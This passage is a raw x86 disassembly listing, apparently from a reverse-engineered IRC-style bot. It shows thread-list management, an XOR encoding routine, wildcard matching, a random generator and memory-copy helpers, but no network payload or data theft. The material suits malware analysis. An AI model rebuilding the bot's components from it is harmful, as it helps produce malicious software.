edi pop esi pop ebx leave retn sub_416802 endp ; =============== S U B R O U T I N E ======================================= sub_4168DA proc near ; CODE XREF: sub_4168F1+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4167E2 push eax call sub_41695E add esp, 0Ch retn sub_4168DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168F1 proc near ; CODE XREF: sub_402B61+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_4168DA cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_416911 cmp eax, 0FFFFh jbe short loc_416915 loc_416911: ; CODE XREF: sub_4168F1+17j xor eax, eax jmp short loc_41695A ; --------------------------------------------------------------------------- loc_416915: ; CODE XREF: sub_4168F1+1Ej push esi push edi push ebx call sub_4167E2 add eax, 101h push eax call sub_417889 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4167E2 pop ecx pop ecx push eax push esi call sub_416802 push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_416979 push esi mov edi, eax call sub_41793B add esp, 24h mov eax, edi pop esi loc_41695A: ; CODE XREF: sub_4168F1+22j pop edi pop ebx pop ebp retn sub_4168F1 endp ; =============== S U B R O U T I N E ======================================= sub_41695E proc near ; CODE XREF: sub_4168DA+Ep ; sub_416979+47p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_416967 inc ecx loc_416967: ; CODE XREF: sub_41695E+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_41695E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416979 proc near ; CODE XREF: sub_4168F1+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_C] cmp dl, 0Ah jz short loc_416993 cmp dl, 0Dh jz short loc_416993 cmp dl, 5Ch jz short loc_416993 test dl, dl jnz short loc_416997 loc_416993: ; CODE XREF: sub_416979+Aj ; sub_416979+Fj ... inc edx mov [ebp+arg_C], edx loc_416997: ; CODE XREF: sub_416979+18j push esi mov esi, 0FFh cmp edx, esi jbe short loc_4169BF mov eax, edx shr eax, 8 cmp al, 0Ah jz short loc_4169B6 cmp al, 0Dh jz short loc_4169B6 cmp al, 5Ch jz short loc_4169B6 test al, al jnz short loc_4169BF loc_4169B6: ; CODE XREF: sub_416979+2Fj ; sub_416979+33j ... add edx, 100h mov [ebp+arg_C], edx loc_4169BF: ; CODE XREF: sub_416979+26j ; sub_416979+3Bj push edx call sub_41695E cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_4169D5 cmp eax, 0FFFFh jbe short loc_4169DC loc_4169D5: ; CODE XREF: sub_416979+53j xor eax, eax jmp loc_416A77 ; --------------------------------------------------------------------------- loc_4169DC: ; CODE XREF: sub_416979+5Aj push ebx mov bl, byte_489480 xor ecx, ecx push edi mov edi, [ebp+arg_8] test edx, edx jbe short loc_416A09 loc_4169ED: ; CODE XREF: sub_416979+8Ej mov al, [ecx+edi] xor al, bl jz short loc_416A00 cmp al, 0Ah jz short loc_416A00 cmp al, 0Dh jz short loc_416A00 cmp al, 5Ch jnz short loc_416A04 loc_416A00: ; CODE XREF: sub_416979+79j ; sub_416979+7Dj ... inc bl xor ecx, ecx loc_416A04: ; CODE XREF: sub_416979+85j inc ecx cmp ecx, edx jb short loc_4169ED loc_416A09: ; CODE XREF: sub_416979+72j cmp edx, esi mov byte_489480, bl ja short loc_416A35 push 15h push offset loc_438910 push [ebp+arg_0] mov byte_43891D, dl mov byte_438921, bl call sub_417090 add esp, 0Ch push 15h jmp short loc_416A56 ; --------------------------------------------------------------------------- loc_416A35: ; CODE XREF: sub_416979+98j push 17h push offset loc_4388F8 push [ebp+arg_0] mov word_438906, dx mov byte_43890B, bl call sub_417090 add esp, 0Ch push 17h loc_416A56: ; CODE XREF: sub_416979+BAj xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_416A72 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_416A64: ; CODE XREF: sub_416979+F7j mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_416A64 loc_416A72: ; CODE XREF: sub_416979+E3j mov eax, [ebp+var_4] pop edi pop ebx loc_416A77: ; CODE XREF: sub_416979+5Ej pop esi leave retn sub_416979 endp ; =============== S U B R O U T I N E ======================================= sub_416A7A proc near ; CODE XREF: sub_405F35+21Fp ; sub_4070A3+EDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_444368 loc_416A82: ; CODE XREF: sub_416A7A+18j cmp byte ptr [eax], 0 jz short loc_416A96 add eax, 234h inc edi cmp eax, offset dword_4890F8 jl short loc_416A82 jmp short loc_416AE1 ; --------------------------------------------------------------------------- loc_416A96: ; CODE XREF: sub_416A7A+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_444368[esi] push eax call sub_418910 mov eax, [esp+14h+arg_4] and dword_44456C[esi], 0 and dword_444570[esi], 0 mov dword_444568[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and byte_444580[esi], 0 mov dword_444574[esi], eax pop esi loc_416AE1: ; CODE XREF: sub_416A7A+1Aj mov eax, edi pop edi retn sub_416A7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AE5 proc near ; DATA XREF: sub_40EC43+5BBAo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_416B37 push [ebp+var_14] call sub_416D90 add esp, 14h push 0 call dword_423054 ; ExitThread pop edi pop esi sub_416AE5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B37 proc near ; CODE XREF: sub_416AE5+38p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h xor edi, edi mov esi, offset dword_444368 loc_416B61: ; CODE XREF: sub_416B37+78j cmp byte ptr [esi], 0 jz short loc_416BA2 cmp [ebp+arg_C], 0 jnz short loc_416B75 cmp dword ptr [esi+204h], 0 jnz short loc_416BA2 loc_416B75: ; CODE XREF: sub_416B37+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_416FB6 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 24h loc_416BA2: ; CODE XREF: sub_416B37+2Dj ; sub_416B37+3Cj add esi, 234h inc edi cmp esi, offset dword_4890F8 jl short loc_416B61 pop edi pop esi leave retn sub_416B37 endp ; =============== S U B R O U T I N E ======================================= sub_416BB5 proc near ; CODE XREF: sub_40EC43+4D99p ; sub_416C3D+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_416C37 cmp esi, 1F4h jge short loc_416C37 imul esi, 234h push edi push ebx lea edi, dword_44457C[esi] push dword ptr [edi] call dword_423168 ; TerminateThread cmp [edi], ebx jz short loc_416BE7 inc ebp loc_416BE7: ; CODE XREF: sub_416BB5+2Fj mov [edi], ebx lea edi, dword_444570[esi] mov dword_444568[esi], ebx mov dword_44456C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_416C08 push eax call sub_4151A1 pop ecx loc_416C08: ; CODE XREF: sub_416BB5+4Aj mov [edi], ebx lea edi, dword_444574[esi] mov byte ptr dword_444368[esi], bl mov byte_444580[esi], bl push dword ptr [edi] call dword_43EBBC ; closesocket lea esi, dword_444578[esi] mov [edi], ebx push dword ptr [esi] call dword_43EBBC ; closesocket mov [esi], ebx pop edi loc_416C37: ; CODE XREF: sub_416BB5+Dj ; sub_416BB5+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416BB5 endp ; =============== S U B R O U T I N E ======================================= sub_416C3D proc near ; CODE XREF: sub_40AA70:loc_40AA94p ; sub_40D1A2+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_444368 loc_416C49: ; CODE XREF: sub_416C3D+2Aj cmp byte ptr [esi], 0 jz short loc_416C5A push edi call sub_416BB5 test eax, eax pop ecx jz short loc_416C5A inc ebx loc_416C5A: ; CODE XREF: sub_416C3D+Fj ; sub_416C3D+1Aj add esi, 234h inc edi cmp esi, offset dword_4890F8 jl short loc_416C49 pop edi mov eax, ebx pop esi pop ebx retn sub_416C3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C6F proc near ; CODE XREF: sub_40EC43+1DA9p ; sub_40EC43+1E1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_44456C loc_416C83: ; CODE XREF: sub_416C6F+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_416CA5 test edi, edi jle short loc_416C97 cmp [esi], edi jz short loc_416C97 cmp ebx, edi jnz short loc_416CA5 loc_416C97: ; CODE XREF: sub_416C6F+1Ej ; sub_416C6F+22j push ebx call sub_416BB5 test eax, eax pop ecx jz short loc_416CA5 inc [ebp+var_4] loc_416CA5: ; CODE XREF: sub_416C6F+1Aj ; sub_416C6F+26j ... add esi, 234h inc ebx cmp esi, offset dword_4892FC jl short loc_416C83 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416C6F endp ; =============== S U B R O U T I N E ======================================= sub_416CBC proc near ; CODE XREF: sub_40702C+Bp ; sub_4070A3+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_444568 loc_416CC3: ; CODE XREF: sub_416CBC+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416CCC inc eax loc_416CCC: ; CODE XREF: sub_416CBC+Dj add ecx, 234h cmp ecx, offset dword_4892F8 jl short loc_416CC3 retn sub_416CBC endp ; =============== S U B R O U T I N E ======================================= sub_416CDB proc near ; CODE XREF: sub_40EC43+5647p arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_444568 push esi loc_416CE5: ; CODE XREF: sub_416CDB+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416CFE add ecx, 234h inc edx cmp ecx, offset dword_4892F8 jl short loc_416CE5 pop esi retn ; --------------------------------------------------------------------------- loc_416CFE: ; CODE XREF: sub_416CDB+10j mov eax, edx pop esi retn sub_416CDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D02 proc near ; CODE XREF: sub_40EC43+5D54p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_416D1B push [ebp+arg_1C] call sub_41751F pop ecx loc_416D1B: ; CODE XREF: sub_416D02+Ej push eax push [ebp+arg_18] call sub_416C6F pop ecx test eax, eax pop ecx jle short loc_416D47 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_416FB6 add esp, 14h jmp short loc_416D61 ; --------------------------------------------------------------------------- loc_416D47: ; CODE XREF: sub_416D02+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_416FB6 add esp, 10h loc_416D61: ; CODE XREF: sub_416D02+43j cmp [ebp+arg_C], 0 jnz short loc_416D81 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h loc_416D81: ; CODE XREF: sub_416D02+63j lea eax, [ebp+var_200] push eax call sub_40BD8D pop ecx leave retn sub_416D02 endp ; =============== S U B R O U T I N E ======================================= sub_416D90 proc near ; CODE XREF: sub_401000+A2p ; sub_401444+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_44457C[eax], ecx mov dword_444568[eax], ecx mov dword_44456C[eax], ecx mov dword_444570[eax], ecx mov dword_444574[eax], ecx mov dword_444578[eax], ecx mov byte ptr dword_444368[eax], cl mov byte_444580[eax], cl retn sub_416D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DCD proc near ; CODE XREF: sub_40EC43+6158p ; sub_416EF5+61p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_416E2F ; --------------------------------------------------------------------------- loc_416DD9: ; CODE XREF: sub_416DCD+66j cmp eax, 1 jnz short loc_416E40 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_416E40 cmp cl, 2Ah jz short loc_416E18 cmp cl, 3Fh jz short loc_416DFD cmp cl, 5Bh jz short loc_416E02 xor eax, eax cmp cl, dl setz al loc_416DFD: ; CODE XREF: sub_416DCD+22j inc [ebp+arg_4] jmp short loc_416E2B ; --------------------------------------------------------------------------- loc_416E02: ; CODE XREF: sub_416DCD+27j lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_416E61 mov esi, [ebp+arg_0] jmp short loc_416E29 ; --------------------------------------------------------------------------- loc_416E18: ; CODE XREF: sub_416DCD+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_416EF5 mov esi, [ebp+arg_0] dec esi loc_416E29: ; CODE XREF: sub_416DCD+49j pop ecx pop ecx loc_416E2B: ; CODE XREF: sub_416DCD+33j inc esi mov [ebp+arg_0], esi loc_416E2F: ; CODE XREF: sub_416DCD+Aj mov cl, [esi] test cl, cl jnz short loc_416DD9 jmp short loc_416E40 ; --------------------------------------------------------------------------- loc_416E37: ; CODE XREF: sub_416DCD+76j cmp eax, 1 jnz short loc_416E5C inc esi mov [ebp+arg_0], esi loc_416E40: ; CODE XREF: sub_416DCD+Fj ; sub_416DCD+18j ... cmp byte ptr [esi], 2Ah jz short loc_416E37 cmp eax, 1 jnz short loc_416E5C mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_416E5C cmp byte ptr [esi], 0 jnz short loc_416E5C xor eax, eax inc eax jmp short loc_416E5E ; --------------------------------------------------------------------------- loc_416E5C: ; CODE XREF: sub_416DCD+6Dj ; sub_416DCD+7Bj ... xor eax, eax loc_416E5E: ; CODE XREF: sub_416DCD+8Dj pop esi pop ebp retn sub_416DCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E61 proc near ; CODE XREF: sub_416DCD+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi xor eax, eax mov ecx, [edx] and [ebp+var_8], edi inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_416E82 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_416E82: ; CODE XREF: sub_416E61+19j push ebx push esi loc_416E84: ; CODE XREF: sub_416E61+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_416E92 cmp [ebp+var_4], eax jnz short loc_416EDA loc_416E92: ; CODE XREF: sub_416E61+2Aj test edi, edi jnz short loc_416ECF cmp bl, 2Dh jnz short loc_416EC3 lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_416EC3 cmp al, 5Dh jz short loc_416EC3 cmp [ebp+var_4], edi jnz short loc_416EC3 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_416ECF cmp bl, al jg short loc_416ECF mov [edx], esi jmp short loc_416ECC ; --------------------------------------------------------------------------- loc_416EC3: ; CODE XREF: sub_416E61+38j ; sub_416E61+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_416ECF loc_416ECC: ; CODE XREF: sub_416E61+60j xor edi, edi inc edi loc_416ECF: ; CODE XREF: sub_416E61+33j ; sub_416E61+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_416E84 ; --------------------------------------------------------------------------- loc_416EDA: ; CODE XREF: sub_416E61+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_416EE7 mov ecx, eax sub ecx, edi mov edi, ecx loc_416EE7: ; CODE XREF: sub_416E61+7Ej cmp edi, eax jnz short loc_416EF0 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_416EF0: ; CODE XREF: sub_416E61+88j mov eax, edi pop edi leave retn sub_416E61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EF5 proc near ; CODE XREF: sub_416DCD+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_416F25 ; --------------------------------------------------------------------------- loc_416F0F: ; CODE XREF: sub_416EF5+36j mov dl, [eax] cmp dl, 3Fh jz short loc_416F20 cmp dl, 2Ah jnz short loc_416F32 cmp dl, 3Fh jnz short loc_416F23 loc_416F20: ; CODE XREF: sub_416EF5+1Fj inc ecx mov [edi], ecx loc_416F23: ; CODE XREF: sub_416EF5+29j inc dword ptr [esi] loc_416F25: ; CODE XREF: sub_416EF5+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_416F0F jmp short loc_416F32 ; --------------------------------------------------------------------------- loc_416F2F: ; CODE XREF: sub_416EF5+40j inc eax mov [esi], eax loc_416F32: ; CODE XREF: sub_416EF5+24j ; sub_416EF5+38j cmp byte ptr [eax], 2Ah jz short loc_416F2F mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_416F54 cmp [eax], bl jz short loc_416F47 xor eax, eax jmp short loc_416FB1 ; --------------------------------------------------------------------------- loc_416F47: ; CODE XREF: sub_416EF5+4Cj cmp dl, bl jnz short loc_416F54 cmp [eax], bl jnz short loc_416F54 xor eax, eax inc eax jmp short loc_416FB1 ; --------------------------------------------------------------------------- loc_416F54: ; CODE XREF: sub_416EF5+48j ; sub_416EF5+54j ... push ecx push eax call sub_416DCD pop ecx test eax, eax pop ecx jnz short loc_416F9B loc_416F61: ; CODE XREF: sub_416EF5+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_416F73 ; --------------------------------------------------------------------------- loc_416F67: ; CODE XREF: sub_416EF5+86j cmp cl, 5Bh jz short loc_416F7D cmp dl, bl jz short loc_416F7D inc eax mov [edi], eax loc_416F73: ; CODE XREF: sub_416EF5+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_416F67 loc_416F7D: ; CODE XREF: sub_416EF5+75j ; sub_416EF5+79j cmp [eax], bl jz short loc_416F92 push eax push dword ptr [esi] call sub_416DCD neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_416F97 ; --------------------------------------------------------------------------- loc_416F92: ; CODE XREF: sub_416EF5+8Aj mov [ebp+var_4], ebx xor eax, eax loc_416F97: ; CODE XREF: sub_416EF5+9Bj cmp eax, ebx jnz short loc_416F61 loc_416F9B: ; CODE XREF: sub_416EF5+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_416FAE mov eax, [esi] cmp [eax], bl jnz short loc_416FAE mov [ebp+var_4], 1 loc_416FAE: ; CODE XREF: sub_416EF5+AAj ; sub_416EF5+B0j mov eax, [ebp+var_4] loc_416FB1: ; CODE XREF: sub_416EF5+50j ; sub_416EF5+5Dj pop edi pop esi pop ebx leave retn sub_416EF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FB6 proc near ; CODE XREF: sub_401000+61p ; sub_4010B2+320p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_419B38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_416FF6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_417003 ; --------------------------------------------------------------------------- loc_416FF6: ; CODE XREF: sub_416FB6+36j lea eax, [ebp+var_20] push eax push 0 call sub_419A23 pop ecx pop ecx loc_417003: ; CODE XREF: sub_416FB6+3Ej mov eax, esi pop esi leave retn sub_416FB6 endp ; =============== S U B R O U T I N E ======================================= sub_417008 proc near ; CODE XREF: sub_401000+2Ep ; sub_401D6D+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_438A3C, eax retn sub_417008 endp ; =============== S U B R O U T I N E ======================================= sub_417012 proc near ; CODE XREF: sub_4010B2+CBp ; sub_4010B2+13Fp ... mov eax, dword_438A3C imul eax, 343FDh add eax, 269EC3h mov dword_438A3C, eax sar eax, 10h and eax, 7FFFh retn sub_417012 endp ; =============== S U B R O U T I N E ======================================= sub_417030 proc near ; CODE XREF: sub_4010B2+281p ; sub_401444+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_417083 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_417077 neg ecx and ecx, 3 jz short loc_417059 sub edx, ecx loc_417053: ; CODE XREF: sub_417030+27j mov [edi], al inc edi dec ecx jnz short loc_417053 loc_417059: ; CODE XREF: sub_417030+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_417077 rep stosd test edx, edx jz short loc_41707D loc_417077: ; CODE XREF: sub_417030+18j ; sub_417030+3Fj ... mov [edi], al inc edi dec edx jnz short loc_417077 loc_41707D: ; CODE XREF: sub_417030+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417083: ; CODE XREF: sub_417030+Aj mov eax, [esp+arg_0] retn sub_417030 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417090 proc near ; CODE XREF: sub_4010B2+22Dp ; sub_4010B2+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4170B0 cmp edi, eax jb loc_417228 loc_4170B0: ; CODE XREF: sub_417090+16j test edi, 3 jnz short loc_4170CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4170EC rep movsd jmp off_4171D8[edx*4] ; --------------------------------------------------------------------------- loc_4170CC: ; CODE XREF: sub_417090+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4170E4 and eax, 3 add ecx, eax jmp dword ptr loc_4170EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4170E4: ; CODE XREF: sub_417090+46j jmp dword ptr loc_4171E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4170EC: ; CODE XREF: sub_417090+31j ; sub_417090+8Ej ... jmp off_41716C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_417100 dd offset loc_41712C dd offset loc_417150 ; --------------------------------------------------------------------------- loc_417100: ; DATA XREF: sub_417090+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4170EC rep movsd jmp off_4171D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41712C: ; DATA XREF: sub_417090+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4170EC rep movsd jmp off_4171D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417150: ; DATA XREF: sub_417090+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4170EC rep movsd jmp off_4171D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41716C dd offset loc_4171CF ; DATA XREF: sub_417090:loc_4170ECr dd offset loc_4171BC dd offset loc_4171B4 dd offset loc_4171AC dd offset loc_4171A4 dd offset loc_41719C dd offset loc_417194 dd offset loc_41718C ; --------------------------------------------------------------------------- loc_41718C: ; CODE XREF: sub_417090:loc_4170ECj ; DATA XREF: sub_417090+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_417194: ; CODE XREF: sub_417090:loc_4170ECj ; DATA XREF: sub_417090+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41719C: ; CODE XREF: sub_417090:loc_4170ECj ; DATA XREF: sub_417090+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4171A4: ; CODE XREF: sub_417090:loc_4170ECj ; DATA XREF: sub_417090+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4171AC: ; CODE XREF: sub_417090:loc_4170ECj ; DATA XREF: sub_417090+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4171B4: ; CODE XREF: sub_417090:loc_4170ECj ; DATA XREF: sub_417090+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4171BC: ; CODE XREF: sub_417090:loc_4170ECj ; DATA XREF: sub_417090+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4171CF: ; CODE XREF: sub_417090:loc_4170ECj ; DATA XREF: sub_417090:off_41716Co jmp off_4171D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4171D8 dd offset loc_4171E8 ; DATA XREF: sub_417090+35r ; sub_417090+92r ... dd offset loc_4171F0 dd offset loc_4171FC dd offset loc_417210 ; --------------------------------------------------------------------------- loc_4171E8: ; CODE XREF: sub_417090+35j ; sub_417090+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4171F0: ; CODE XREF: sub_417090+35j ; sub_417090+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4171FC: ; CODE XREF: sub_417090+35j ; sub_417090+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417210: ; CODE XREF: sub_417090+35j ; sub_417090+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417228: ; CODE XREF: sub_417090+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41725C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_417250 std rep movsd cld jmp off_417370[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417250: ; CODE XREF: sub_417090+1B1j ; sub_417090+208j ... neg ecx jmp off_417320[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41725C: ; CODE XREF: sub_417090+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_417274 and eax, 3 sub ecx, eax jmp dword ptr loc_417274+4[eax*4] ; --------------------------------------------------------------------------- loc_417274: ; CODE XREF: sub_417090+1D6j ; DATA XREF: sub_417090+1DDr jmp off_417370[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417287+1 ; --------------------------------------------------------------------------- test al, 72h inc ecx add al, dl jb short loc_4172C8 loc_417287: ; DATA XREF: sub_417090+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi 